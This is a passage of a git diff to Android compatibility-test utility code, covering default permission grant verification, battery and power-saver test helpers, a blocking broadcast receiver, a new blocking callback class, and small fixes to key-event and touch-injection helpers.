+            pregrantUidStates.valueAt(i).log();
+            Log.i(LOG_TAG, "}");
+        }
+    }
+
+    public void checkDefaultGrantsInCorrectState(Map<String, PackageInfo> packagesToVerify,
+            SparseArray<UidState> pregrantUidStates,
+            Map<String, ArrayMap<String, ArraySet<String>>> violations) {
+        PackageManager packageManager = getInstrumentation().getContext().getPackageManager();
+        for (PackageInfo packageInfo : packagesToVerify.values()) {
+            final int uid = packageInfo.applicationInfo.uid;
+            UidState uidState = pregrantUidStates.get(uid);
+            if (uidState == null) {
+                continue;
+            }
+
+            final int grantCount = uidState.grantedPermissions.size();
+            // make a modifiable list
+            List<String> requestedPermissions = new ArrayList<>(
+                    Arrays.asList(packageInfo.requestedPermissions));
+            for (int i = 0; i < grantCount; i++) {
+                String permission = uidState.grantedPermissions.keyAt(i);
+
+                // If the package did not request this permissions, skip as
+                // it is requested by another package in the same UID.
+                if (!requestedPermissions.contains(permission)) {
+                    continue;
+                }
+
+                // Not granting the permission is OK, as we want to catch excessive grants
+                if (packageManager.checkPermission(permission, packageInfo.packageName)
+                        != PackageManager.PERMISSION_GRANTED) {
+                    continue;
+                }
+
+                boolean grantBackFineLocation = false;
+
+                // Special case: fine location implies coarse location, so we revoke
+                // fine location when verifying coarse to avoid interference.
+                if (permission.equals(Manifest.permission.ACCESS_COARSE_LOCATION)
+                        && packageManager.checkPermission(Manifest.permission.ACCESS_FINE_LOCATION,
+                        packageInfo.packageName) == PackageManager.PERMISSION_GRANTED) {
+                    setPermissionGrantState(packageInfo.packageName,
+                            Manifest.permission.ACCESS_FINE_LOCATION, false);
+                    grantBackFineLocation = true;
+                }
+
+                setPermissionGrantState(packageInfo.packageName, permission, false);
+
+                Boolean fixed = uidState.grantedPermissions.valueAt(i);
+
+                // Weaker grant is fine, e.g. not-fixed instead of fixed.
+                if (!fixed && packageManager.checkPermission(permission, packageInfo.packageName)
+                        == PackageManager.PERMISSION_GRANTED) {
+                    addViolation(violations, packageInfo.packageName, permission,
+                            "granted by default should be revocable");
+                }
+
+                setPermissionGrantState(packageInfo.packageName, permission, true);
+
+                if (grantBackFineLocation) {
+                    setPermissionGrantState(packageInfo.packageName,
+                            Manifest.permission.ACCESS_FINE_LOCATION, true);
+                }
+
+                // Now a small trick - pretend the package does not request this permission
+                // as we will later treat each granted runtime permissions as a violation.
+                requestedPermissions.remove(permission);
+                packageInfo.requestedPermissions = requestedPermissions.toArray(
+                        new String[requestedPermissions.size()]);
+            }
+        }
+    }
+
+    public void checkPackagesForUnexpectedGrants(Map<String, PackageInfo> packagesToVerify,
+            Set<String> runtimePermNames,
+            Map<String, ArrayMap<String, ArraySet<String>>> violations,
+            boolean preGrantsOnly) throws Exception {
+        PackageManager packageManager = getInstrumentation().getContext().getPackageManager();
+        for (PackageInfo packageInfo : packagesToVerify.values()) {
+            for (String requestedPermission : packageInfo.requestedPermissions) {
+                // If another package in the UID can get the permission
+                // then it is fine for this package to have it - skip.
+                if (runtimePermNames.contains(requestedPermission)
+                        && packageManager.checkPermission(requestedPermission,
+                        packageInfo.packageName) == PackageManager.PERMISSION_GRANTED
+                        && (!preGrantsOnly || (callWithShellPermissionIdentity(() ->
+                        packageManager.getPermissionFlags(
+                                requestedPermission,
+                                packageInfo.packageName,
+                                getInstrumentation().getTargetContext().getUser())
+                                & PackageManager.FLAG_PERMISSION_GRANTED_BY_DEFAULT)
+                        != 0))) {
+                    addViolation(violations,
+                            packageInfo.packageName, requestedPermission,
+                            "cannot be granted by default to package");
+                }
+            }
+        }
+    }
+
+    public String createViolationsErrorString(
+            ArrayMap<String, ArrayMap<String, ArraySet<String>>> violations) {
+        StringBuilder sb = new StringBuilder();
+
+        for (String packageName : violations.keySet()) {
+            sb.append("packageName: " + packageName + " {\n");
+            for (Map.Entry<String, Object> property
+                    : getPackageProperties(packageName).entrySet()) {
+                sb.append("  " + property.getKey() + ": "
+                        + property.getValue().toString().trim() + "\n");
+            }
+            for (String message : violations.get(packageName).keySet()) {
+                sb.append("  message: " + message + " {\n");
+                for (String permission : violations.get(packageName).get(message)) {
+                    sb.append("    permission: " + permission + "\n");
+                }
+                sb.append("  }\n");
+            }
+            sb.append("}\n");
+        }
+
+        return sb.toString();
+    }
+
+    public static class UidState {
+        public class GrantReason {
+            public final String reason;
+            public final boolean override;
+            public final Boolean fixed;
+
+            GrantReason(String reason, boolean override, Boolean fixed) {
+                this.reason = reason;
+                this.override = override;
+                this.fixed = fixed;
+            }
+
+            @Override
+            public boolean equals(Object o) {
+                if (this == o) return true;
+                if (o == null || getClass() != o.getClass()) return false;
+                GrantReason that = (GrantReason) o;
+                return override == that.override
+                        && Objects.equals(reason, that.reason)
+                        && Objects.equals(fixed, that.fixed);
+            }
+
+            @Override
+            public int hashCode() {
+                return Objects.hash(reason, override, fixed);
+            }
+        }
+
+        // packageName -> permission -> [reason]
+        public ArrayMap<String, ArrayMap<String, ArraySet<GrantReason>>> mGrantReasons =
+                new ArrayMap<>();
+        public ArrayMap<String, Boolean> grantedPermissions = new ArrayMap<>();
+
+        public void log() {
+            for (String packageName : mGrantReasons.keySet()) {
+                Log.i(LOG_TAG, "  packageName: " + packageName + " {");
+
+                for (Map.Entry<String, Object> property :
+                        getPackageProperties(packageName).entrySet()) {
+                    Log.i(LOG_TAG, "    " + property.getKey() + ": " + property.getValue());
+                }
+
+                // Resort permission -> reason into reason -> permission
+                ArrayMap<String, ArraySet<GrantReason>> permissionsToReasons =
+                        mGrantReasons.get(packageName);
+                ArrayMap<GrantReason, List<String>> reasonsToPermissions = new ArrayMap<>();
+                for (String permission : permissionsToReasons.keySet()) {
+                    for (GrantReason reason : permissionsToReasons.get(permission)) {
+                        if (!reasonsToPermissions.containsKey(reason)) {
+                            reasonsToPermissions.put(reason, new ArrayList<>());
+                        }
+
+                        reasonsToPermissions.get(reason).add(permission);
+                    }
+                }
+
+                for (Map.Entry<GrantReason, List<String>> reasonEntry
+                        : reasonsToPermissions.entrySet()) {
+                    GrantReason reason = reasonEntry.getKey();
+                    Log.i(LOG_TAG, "    reason: " + reason.reason + " {");
+                    Log.i(LOG_TAG, "      override: " + reason.override);
+                    Log.i(LOG_TAG, "      fixed: " + reason.fixed);
+
+                    Log.i(LOG_TAG, "      permissions: [");
+                    for (String permission : reasonEntry.getValue()) {
+                        Log.i(LOG_TAG, "        " + permission + ",");
+                    }
+                    Log.i(LOG_TAG, "      ]");
+                    Log.i(LOG_TAG, "    }");
+
+                    // Do not overwhelm log
+                    try {
+                        Thread.sleep(50);
+                    } catch (InterruptedException e) {
+                        // ignored
+                    }
+                }
+
+                Log.i(LOG_TAG, "  }");
+            }
+        }
+
+        public void addGrantedPermission(String packageName, String reason, String permission,
+                Boolean fixed) {
+            Context context = getInstrumentation().getTargetContext();
+
+            // Add permissions split off from the permission to granted
+            try {
+                PackageInfo info = context.getPackageManager().getPackageInfo(packageName, 0);
+                int targetSdk = info.applicationInfo.targetSdkVersion;
+
+                for (String extendedPerm : extendBySplitPermissions(permission, targetSdk)) {
+                    mergeGrantedPermission(packageName, extendedPerm.equals(permission) ? reason
+                                    : reason + " (split from " + permission + ")", extendedPerm,
+                            fixed, false);
+                }
+            } catch (PackageManager.NameNotFoundException e) {
+                // ignore
+            }
+        }
+
+        public void overrideGrantedPermission(String packageName, String reason, String permission,
+                Boolean fixed) {
+            mergeGrantedPermission(packageName, reason, permission, fixed, true);
+        }
+
+        public void mergeGrantedPermission(String packageName, String reason, String permission,
+                Boolean fixed, boolean override) {
+            if (!mGrantReasons.containsKey(packageName)) {
+                mGrantReasons.put(packageName, new ArrayMap<>());
+            }
+
+            if (!mGrantReasons.get(packageName).containsKey(permission)) {
+                mGrantReasons.get(packageName).put(permission, new ArraySet<>());
+            }
+
+            mGrantReasons.get(packageName).get(permission).add(new GrantReason(reason, override,
+                    fixed));
+
+            Boolean oldFixed = grantedPermissions.get(permission);
+            if (oldFixed == null) {
+                grantedPermissions.put(permission, fixed);
+            } else {
+                if (override) {
+                    if (oldFixed == Boolean.FALSE && fixed == Boolean.TRUE) {
+                        Log.w(LOG_TAG, "override already granted permission " + permission + "("
+                                + fixed + ") for " + packageName);
+                        grantedPermissions.put(permission, fixed);
+                    }
+                } else {
+                    if (oldFixed == Boolean.TRUE && fixed == Boolean.FALSE) {
+                        Log.w(LOG_TAG, "add already granted permission " + permission + "("
+                                + fixed + ") to " + packageName);
+                        grantedPermissions.put(permission, fixed);
+                    }
+                }
+            }
+        }
+    }
+
+    public static class DefaultPermissionGrantException {
+
+        public static final String UNSET_PLACEHOLDER = "(UNSET)";
+        public String company;
+        public String metadata;
+        public String pkg;
+        public String sha256;
+        public boolean hasBrand; // in rare cases, brand will be specified instead of SHA256 hash
+        public Map<String, Boolean> permissions = new HashMap<>();
+
+        public boolean hasNonBrandSha256() {
+            return sha256 != null && !hasBrand;
+        }
+
+        public DefaultPermissionGrantException(String pkg, String sha256,
+                Map<String, Boolean> permissions) {
+            this(UNSET_PLACEHOLDER, UNSET_PLACEHOLDER, pkg, sha256, permissions);
+        }
+
+        public DefaultPermissionGrantException(String company, String metadata, String pkg,
+                String sha256,
+                Map<String, Boolean> permissions) {
+            this.company = company;
+            this.metadata = metadata;
+            this.pkg = pkg;
+            this.sha256 = sha256;
+            if (!sha256.contains(":")) {
+                hasBrand = true; // rough approximation of brand vs. SHA256 hash
+            }
+            this.permissions = permissions;
+        }
+    }
+
+}
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/BatteryUtils.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/BatteryUtils.java
index 7d8feae..29268e5 100644
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/BatteryUtils.java
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/BatteryUtils.java
@@ -44,10 +44,18 @@
         return InstrumentationRegistry.getContext().getSystemService(PowerManager.class);
     }
 
+    public static boolean hasBattery() {
+        final Intent batteryInfo = InstrumentationRegistry.getContext()
+                .registerReceiver(null, new IntentFilter(Intent.ACTION_BATTERY_CHANGED));
+        return batteryInfo.getBooleanExtra(BatteryManager.EXTRA_PRESENT, true);
+    }
+
     /** Make the target device think it's off charger. */
-    public static void runDumpsysBatteryUnplug() {
+    public static void runDumpsysBatteryUnplug() throws Exception {
         SystemUtil.runShellCommandForNoOutput("cmd battery unplug");
 
+        waitForPlugStatus(false);
+
         Log.d(TAG, "Battery UNPLUGGED");
     }
 
@@ -66,10 +74,29 @@
     public static void runDumpsysBatterySetPluggedIn(boolean pluggedIn) throws Exception {
         SystemUtil.runShellCommandForNoOutput(("cmd battery set ac " + (pluggedIn ? "1" : "0")));
 
+        waitForPlugStatus(pluggedIn);
+
         Log.d(TAG, "Battery AC set to " + pluggedIn);
     }
 
-    /** Reset the effect of all the previous {@code runDumpsysBattery*} call  */
+    private static void waitForPlugStatus(boolean pluggedIn) throws Exception {
+        if (InstrumentationRegistry.getContext().getPackageManager().isInstantApp()) {
+            // Instant apps are not allowed to query ACTION_BATTERY_CHANGED. Add short sleep as
+            // best-effort wait for status.
+            Thread.sleep(2000);
+            return;
+        }
+        IntentFilter ifilter = new IntentFilter(Intent.ACTION_BATTERY_CHANGED);
+        waitUntil("Device still " + (pluggedIn ? " not plugged" : " plugged"),
+                () -> {
+                    Intent batteryStatus =
+                            InstrumentationRegistry.getContext().registerReceiver(null, ifilter);
+                    int chargePlug = batteryStatus.getIntExtra(BatteryManager.EXTRA_PLUGGED, -1);
+                    return pluggedIn == (chargePlug != 0);
+                });
+    }
+
+    /** Reset the effect of all the previous {@code runDumpsysBattery*} call */
     public static void runDumpsysBatteryReset() {
         SystemUtil.runShellCommandForNoOutput(("cmd battery reset"));
 
@@ -83,15 +110,6 @@
     }
 
     /**
-     * Turn off the Battery saver manually.
-     */
-    public static void runDumpsysBatterySaverOff() {
-        if (isBatterySaverSupported() && getPowerManager().isPowerSaveMode()) {
-            SystemUtil.runShellCommandForNoOutput("cmd power set-mode 0");
-        }
-    }
-
-    /**
      * Enable / disable battery saver. Note {@link #runDumpsysBatteryUnplug} must have been
      * executed before enabling BS.
      */
@@ -100,28 +118,11 @@
             SystemUtil.runShellCommandForNoOutput("cmd power set-mode 1");
             putGlobalSetting(Global.LOW_POWER_MODE, "1");
             waitUntil("Battery saver still off", () -> getPowerManager().isPowerSaveMode());
-            waitUntil("Location mode still " + getPowerManager().getLocationPowerSaveMode(),
-                    () -> (PowerManager.LOCATION_MODE_NO_CHANGE
-                            != getPowerManager().getLocationPowerSaveMode()));
-
-            Thread.sleep(500);
-            waitUntil("Force all apps standby still off",
-                    () -> SystemUtil.runShellCommand("dumpsys alarm")
-                            .contains(" Force all apps standby: true\n"));
-
         } else {
             SystemUtil.runShellCommandForNoOutput("cmd power set-mode 0");
             putGlobalSetting(Global.LOW_POWER_MODE, "0");
             putGlobalSetting(Global.LOW_POWER_MODE_STICKY, "0");
             waitUntil("Battery saver still on", () -> !getPowerManager().isPowerSaveMode());
-            waitUntil("Location mode still " + getPowerManager().getLocationPowerSaveMode(),
-                    () -> (PowerManager.LOCATION_MODE_NO_CHANGE
-                            == getPowerManager().getLocationPowerSaveMode()));
-
-            Thread.sleep(500);
-            waitUntil("Force all apps standby still on",
-                    () -> SystemUtil.runShellCommand("dumpsys alarm")
-                            .contains(" Force all apps standby: false\n"));
         }
 
         AmUtils.waitForBroadcastIdle();
@@ -146,10 +147,8 @@
 
     /** @return true if the device supports battery saver. */
     public static boolean isBatterySaverSupported() {
-        final Intent batteryInfo = InstrumentationRegistry.getContext().registerReceiver(
-                null, new IntentFilter(Intent.ACTION_BATTERY_CHANGED));
-        if (!batteryInfo.getBooleanExtra(BatteryManager.EXTRA_PRESENT, true)) {
-            // Devices without battery does not support battery saver.
+        if (!hasBattery()) {
+            // Devices without a battery don't support battery saver.
             return false;
         }
 
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/BlockingBroadcastReceiver.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/BlockingBroadcastReceiver.java
index a5791a2f..d13e998 100644
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/BlockingBroadcastReceiver.java
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/BlockingBroadcastReceiver.java
@@ -22,9 +22,13 @@
 import androidx.annotation.Nullable;
 import android.util.Log;
 
+import java.util.ArrayList;
+import java.util.List;
+import java.util.Set;
 import java.util.concurrent.ArrayBlockingQueue;
 import java.util.concurrent.BlockingQueue;
 import java.util.concurrent.TimeUnit;
+import java.util.function.Function;
 
 /**
  * A receiver that allows caller to wait for the broadcast synchronously. Notice that you should not
@@ -33,37 +37,134 @@
  *     BlockingBroadcastReceiver receiver = new BlockingBroadcastReceiver(context, "action");
  *     try {
  *         receiver.register();
+ *         // Action which triggers intent
  *         Intent intent = receiver.awaitForBroadcast();
  *         // assert the intent
  *     } finally {
  *         receiver.unregisterQuietly();
  *     }
  * </pre>
+ *
+ * If you do not care what intent is broadcast and just wish to block until a matching intent is
+ * received you can use alternative syntax:
+ * <pre>
+ *     try (BlockingBroadcastReceiver r =
+ *              BlockingBroadcastReceiver.create(context, "action").register()) {
+ *         // Action which triggers intent
+ *     }
+ *
+ *     // Code which should be executed after broadcast is received
+ * </pre>
+ *
+ * If the broadcast is not receiver an exception will be thrown.
  */
-public class BlockingBroadcastReceiver extends BroadcastReceiver {
+public class BlockingBroadcastReceiver extends BroadcastReceiver implements AutoCloseable {
     private static final String TAG = "BlockingBroadcast";
 
     private static final int DEFAULT_TIMEOUT_SECONDS = 60;
 
+    private Intent mReceivedIntent = null;
     private final BlockingQueue<Intent> mBlockingQueue;
-    private final String mExpectedAction;
+    private final Set<IntentFilter> mIntentFilters;
     private final Context mContext;
+    @Nullable
+    private final Function<Intent, Boolean> mChecker;
+
+    public static BlockingBroadcastReceiver create(Context context, String expectedAction) {
+        return create(context, new IntentFilter(expectedAction));
+    }
+
+    public static BlockingBroadcastReceiver create(Context context, IntentFilter intentFilter) {
+        return create(context, intentFilter, /* checker= */ null);
+    }
+
+    public static BlockingBroadcastReceiver create(Context context, String expectedAction, Function<Intent, Boolean> checker) {
+        return create(context, new IntentFilter(expectedAction), checker);
+    }
+
+    public static BlockingBroadcastReceiver create(Context context, IntentFilter intentFilter, Function<Intent, Boolean> checker) {
+        return create(context, Set.of(intentFilter), checker);
+    }
+
+    public static BlockingBroadcastReceiver create(Context context, Set<IntentFilter> intentFilters) {
+        return create(context, intentFilters, /* checker= */ null);
+    }
+
+    public static BlockingBroadcastReceiver create(Context context, Set<IntentFilter> intentFilters, Function<Intent, Boolean> checker) {
+        BlockingBroadcastReceiver blockingBroadcastReceiver =
+                new BlockingBroadcastReceiver(context, intentFilters, checker);
+
+        return blockingBroadcastReceiver;
+    }
 
     public BlockingBroadcastReceiver(Context context, String expectedAction) {
+        this(context, new IntentFilter(expectedAction));
+    }
+
+    public BlockingBroadcastReceiver(Context context, IntentFilter intentFilter) {
+        this(context, intentFilter, /* checker= */ null);
+    }
+
+    public BlockingBroadcastReceiver(Context context, IntentFilter intentFilter,
+            Function<Intent, Boolean> checker) {
+        this(context, Set.of(intentFilter), checker);
+    }
+
+    public BlockingBroadcastReceiver(Context context, String expectedAction,
+            Function<Intent, Boolean> checker) {
+        this(context, new IntentFilter(expectedAction), checker);
+    }
+
+    public BlockingBroadcastReceiver(Context context, Set<IntentFilter> intentFilters) {
+        this(context, intentFilters, /* checker= */ null);
+    }
+
+    public BlockingBroadcastReceiver(
+            Context context, Set<IntentFilter> intentFilters, Function<Intent, Boolean> checker) {
         mContext = context;
-        mExpectedAction = expectedAction;
+        mIntentFilters = intentFilters;
         mBlockingQueue = new ArrayBlockingQueue<>(1);
+        mChecker = checker;
     }
 
     @Override
     public void onReceive(Context context, Intent intent) {
-        if (mExpectedAction.equals(intent.getAction())) {
+        if (mBlockingQueue.remainingCapacity() == 0) {
+            Log.i(TAG, "Received intent " + intent + " but queue is full.");
+            return;
+        }
+
+        if (mChecker == null || mChecker.apply(intent)) {
             mBlockingQueue.add(intent);
         }
     }
 
-    public void register() {
-        mContext.registerReceiver(this, new IntentFilter(mExpectedAction));
+    public BlockingBroadcastReceiver register() {
+        for (IntentFilter intentFilter : mIntentFilters) {
+            mContext.registerReceiver(this, intentFilter);
+        }
+
+        return this;
+    }
+
+    public BlockingBroadcastReceiver registerForAllUsers() {
+        for (IntentFilter intentFilter : mIntentFilters) {
+            mContext.registerReceiverForAllUsers(
+                    this, intentFilter, /* broadcastPermission= */ null,
+                    /* scheduler= */ null);
+        }
+
+        return this;
+    }
+
+    /**
+     * Wait until the broadcast.
+     *
+     * <p>If no matching broadcasts is received within 60 seconds an {@link AssertionError} will
+     * be thrown.
+     */
+    public void awaitForBroadcastOrFail() {
+        awaitForBroadcastOrFail(DEFAULT_TIMEOUT_SECONDS * 1000);
     }
 
     /**
@@ -75,16 +176,32 @@
     }
 
     /**
+     * Wait until the broadcast.
+     *
+     * <p>If no matching broadcasts is received within the given timeout an {@link AssertionError}
+     * will be thrown.
+     */
+    public void awaitForBroadcastOrFail(long timeoutMillis) {
+        if (awaitForBroadcast(timeoutMillis) == null) {
+            throw new AssertionError("Did not receive matching broadcast");
+        }
+    }
+
+    /**
      * Wait until the broadcast and return the received broadcast intent. {@code null} is returned
      * if no broadcast with expected action is received within the given timeout.
      */
     public @Nullable Intent awaitForBroadcast(long timeoutMillis) {
+        if (mReceivedIntent != null) {
+            return mReceivedIntent;
+        }
+
         try {
-            return mBlockingQueue.poll(timeoutMillis, TimeUnit.MILLISECONDS);
+            mReceivedIntent = mBlockingQueue.poll(timeoutMillis, TimeUnit.MILLISECONDS);
         } catch (InterruptedException e) {
             Log.e(TAG, "waitForBroadcast get interrupted: ", e);
         }
-        return null;
+        return mReceivedIntent;
     }
 
     public void unregisterQuietly() {
@@ -94,4 +211,13 @@
             Log.e(TAG, "Failed to unregister BlockingBroadcastReceiver: ", ex);
         }
     }
+
+    @Override
+    public void close() {
+        try {
+            awaitForBroadcast();
+        } finally {
+            unregisterQuietly();
+        }
+    }
 }
\ No newline at end of file
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/BlockingCallback.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/BlockingCallback.java
new file mode 100644
index 0000000..2b694bf
--- /dev/null
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/BlockingCallback.java
@@ -0,0 +1,75 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.compatibility.common.util;
+
+import static junit.framework.TestCase.fail;
+
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.atomic.AtomicReference;
+
+/**
+ * Subclass this to create a blocking version of a callback. For example:
+ *
+ * {@code
+ *     private static class KeyChainAliasCallback extends BlockingCallback<String> implements
+ *             android.security.KeyChainAliasCallback {
+ *         @Override
+ *         public void alias(final String chosenAlias) {
+ *             callbackTriggered(chosenAlias);
+ *         }
+ *     }
+ * }
+ *
+ * <p>an instance of KeyChainAliasCallback can then be passed into a method, and the result can
+ * be fetched using {@code .await()};
+ */
+public abstract class BlockingCallback<E> {
+    private static final int DEFAULT_TIMEOUT_SECONDS = 120;
+
+    private final CountDownLatch mLatch = new CountDownLatch(1);
+    private AtomicReference<E> mValue = new AtomicReference<>();
+
+    /** Call this method from the callback method to mark the response as received. */
+    protected void callbackTriggered(E value) {
+        mValue.set(value);
+        mLatch.countDown();
+    }
+
+    /**
+     * Fetch the value passed into the callback.
+     *
+     * <p>Throws an {@link AssertionError} if the callback is not triggered in
+     * {@link #DEFAULT_TIMEOUT_SECONDS} seconds.
+     */
+    public E await() throws InterruptedException {
+        return await(DEFAULT_TIMEOUT_SECONDS, TimeUnit.SECONDS);
+    }
+
+    /**
+     * Fetch the value passed into the callback.
+     *
+     * <p>Throws an {@link AssertionError} if the callback is not triggered before the timeout
+     * elapses.
+     */
+    public E await(long timeout, TimeUnit unit) throws InterruptedException {
+        if (!mLatch.await(timeout, unit)) {
+            fail("Callback was not received");
+        }
+        return mValue.get();
+    }
+}
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/BusinessLogicTestCase.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/BusinessLogicTestCase.java
index 6e71e10..f4f7a33 100644
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/BusinessLogicTestCase.java
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/BusinessLogicTestCase.java
@@ -62,10 +62,10 @@
     }
 
     protected void executeBusinessLogic() {
-        executeBusinessLogifForTest(mTestCase.getMethodName());
+        executeBusinessLogicForTest(mTestCase.getMethodName());
     }
 
-    protected void executeBusinessLogifForTest(String methodName) {
+    protected void executeBusinessLogicForTest(String methodName) {
         assertTrue(String.format("Test \"%s\" is unable to execute as it depends on the missing "
                 + "remote configuration.", methodName), mCanReadBusinessLogic);
         if (methodName.contains(PARAM_START)) {
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/CtsKeyEventUtil.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/CtsKeyEventUtil.java
index ed737f6..75f5a2e 100644
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/CtsKeyEventUtil.java
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/CtsKeyEventUtil.java
@@ -152,7 +152,8 @@
      */
     public static void sendKeyDownUp(final Instrumentation instrumentation, final View targetView,
             final int key) {
-        sendKey(instrumentation, targetView, new KeyEvent(KeyEvent.ACTION_DOWN, key));
+        sendKey(instrumentation, targetView, new KeyEvent(KeyEvent.ACTION_DOWN, key),
+                false /* waitForIdle */);
         sendKey(instrumentation, targetView, new KeyEvent(KeyEvent.ACTION_UP, key));
     }
 
@@ -165,6 +166,11 @@
      */
     public static void sendKey(final Instrumentation instrumentation, final View targetView,
             final KeyEvent event) {
+        sendKey(instrumentation, targetView, event, true /* waitForIdle */);
+    }
+
+    private static void sendKey(final Instrumentation instrumentation, final View targetView,
+            final KeyEvent event, boolean waitForIdle) {
         validateNotAppThread();
 
         long downTime = event.getDownTime();
@@ -192,7 +198,9 @@
 
         InputMethodManager imm = targetView.getContext().getSystemService(InputMethodManager.class);
         imm.dispatchKeyEventFromInputMethod(imm.isActive() ? null : targetView, newEvent);
-        instrumentation.waitForIdleSync();
+        if (waitForIdle) {
+            instrumentation.waitForIdleSync();
+        }
     }
 
     /**
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/CtsTouchUtils.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/CtsTouchUtils.java
index 0634a4b..5a552ed 100644
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/CtsTouchUtils.java
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/CtsTouchUtils.java
@@ -26,7 +26,9 @@
 import android.view.View;
 import android.view.ViewConfiguration;
 import android.view.ViewGroup;
+import android.view.ViewTreeObserver;
 
+import androidx.annotation.Nullable;
 import androidx.test.rule.ActivityTestRule;
 
 /**
@@ -182,11 +184,23 @@
                 dragDurationMs, moveEventCount, null);
     }
 
-    private static void emulateDragGesture(Instrumentation instrumentation,
+    /**
+     * Emulates a linear drag gesture between 2 points across the screen.
+     *
+     * @param instrumentation the instrumentation used to run the test
+     * @param dragStartX Start X of the emulated drag gesture
+     * @param dragStartY Start Y of the emulated drag gesture
+     * @param dragAmountX X amount of the emulated drag gesture
+     * @param dragAmountY Y amount of the emulated drag gesture
+     * @param dragDurationMs The time in milliseconds over which the drag occurs
+     * @param moveEventCount The number of events that produce the movement
+     * @param eventInjectionListener Called after each down, move, and up events.
+     */
+    public static void emulateDragGesture(Instrumentation instrumentation,
             ActivityTestRule<?> activityTestRule,
             int dragStartX, int dragStartY, int dragAmountX, int dragAmountY,
             int dragDurationMs, int moveEventCount,
-            EventInjectionListener eventInjectionListener) {
+            @Nullable EventInjectionListener eventInjectionListener) {
         // We are using the UiAutomation object to inject events so that drag works
         // across view / window boundaries (such as for the emulated drag and drop
         // sequences)
@@ -271,8 +285,18 @@
         }
     }
 
-    private static long injectDownEvent(UiAutomation uiAutomation, long downTime, int xOnScreen,
-            int yOnScreen, EventInjectionListener eventInjectionListener) {
+    /**
+     * Injects an {@link MotionEvent#ACTION_DOWN} event at the given coordinates.
+     *
+     * @param downTime The time of the event, usually from {@link SystemClock#uptimeMillis()}
+     * @param xOnScreen The x screen coordinate to press on
+     * @param yOnScreen The y screen coordinate to press on
+     * @param eventInjectionListener The listener to call back immediately after the down was
+     *                               sent.
+     * @return <code>downTime</code>
+     */
+    public static long injectDownEvent(UiAutomation uiAutomation, long downTime, int xOnScreen,
+            int yOnScreen, @Nullable EventInjectionListener eventInjectionListener) {
         MotionEvent eventDown = MotionEvent.obtain(
                 downTime, downTime, MotionEvent.ACTION_DOWN, xOnScreen, yOnScreen, 1);
         eventDown.setSource(InputDevice.SOURCE_TOUCHSCREEN);
@@ -367,7 +391,18 @@
         }
     }
 
-    private static void injectUpEvent(UiAutomation uiAutomation, long downTime,
+    /**
+     * Injects an {@link MotionEvent#ACTION_UP} event at the given coordinates.
+     *
+     * @param downTime The time of the event, usually from {@link SystemClock#uptimeMillis()}
+     * @param useCurrentEventTime <code>true</code> if it should use the current time for the
+     *                            up event or <code>false</code> to use <code>downTime</code>.
+     * @param xOnScreen The x screen coordinate to press on
+     * @param yOnScreen The y screen coordinate to press on
+     * @param eventInjectionListener The listener to call back immediately after the up was
+     *                               sent.
+     */
+    public static void injectUpEvent(UiAutomation uiAutomation, long downTime,
             boolean useCurrentEventTime, int xOnScreen, int yOnScreen,
             EventInjectionListener eventInjectionListener) {
         long eventTime = useCurrentEventTime ? SystemClock.uptimeMillis() : downTime;
@@ -490,7 +525,7 @@
      * @param viewGroup View group
      */
     public static void emulateScrollToBottom(Instrumentation instrumentation,
-            ActivityTestRule<?> activityTestRule, ViewGroup viewGroup) {
+            ActivityTestRule<?> activityTestRule, ViewGroup viewGroup) throws Throwable {
         final int[] viewGroupOnScreenXY = new int[2];
         viewGroup.getLocationOnScreen(viewGroupOnScreenXY);
 
@@ -506,6 +541,28 @@
                     emulatedX, emulatedStartY, 0, -swipeAmount, 300, 10);
             next = new ViewStateSnapshot(viewGroup);
         } while (!prev.equals(next));
+
+        // wait until the overscroll animation completes
+        final boolean[] redrawn = new boolean[1];
+        final boolean[] animationFinished = new boolean[1];
+        final ViewTreeObserver.OnDrawListener onDrawListener = () -> {
+            redrawn[0] = true;
+        };
+
+        activityTestRule.runOnUiThread(() -> {
+            viewGroup.getViewTreeObserver().addOnDrawListener(onDrawListener);
+        });
+        while (!animationFinished[0]) {
+            activityTestRule.runOnUiThread(() -> {
+                if (!redrawn[0]) {
+                    animationFinished[0] = true;
+                }
+                redrawn[0] = false;
+            });
+        }
+        activityTestRule.runOnUiThread(() -> {
+            viewGroup.getViewTreeObserver().removeOnDrawListener(onDrawListener);
+        });
     }
 
     /**
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/DeviceConfigStateChangerRule.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/DeviceConfigStateChangerRule.java
index a13da52..06289cf 100644
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/DeviceConfigStateChangerRule.java
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/DeviceConfigStateChangerRule.java
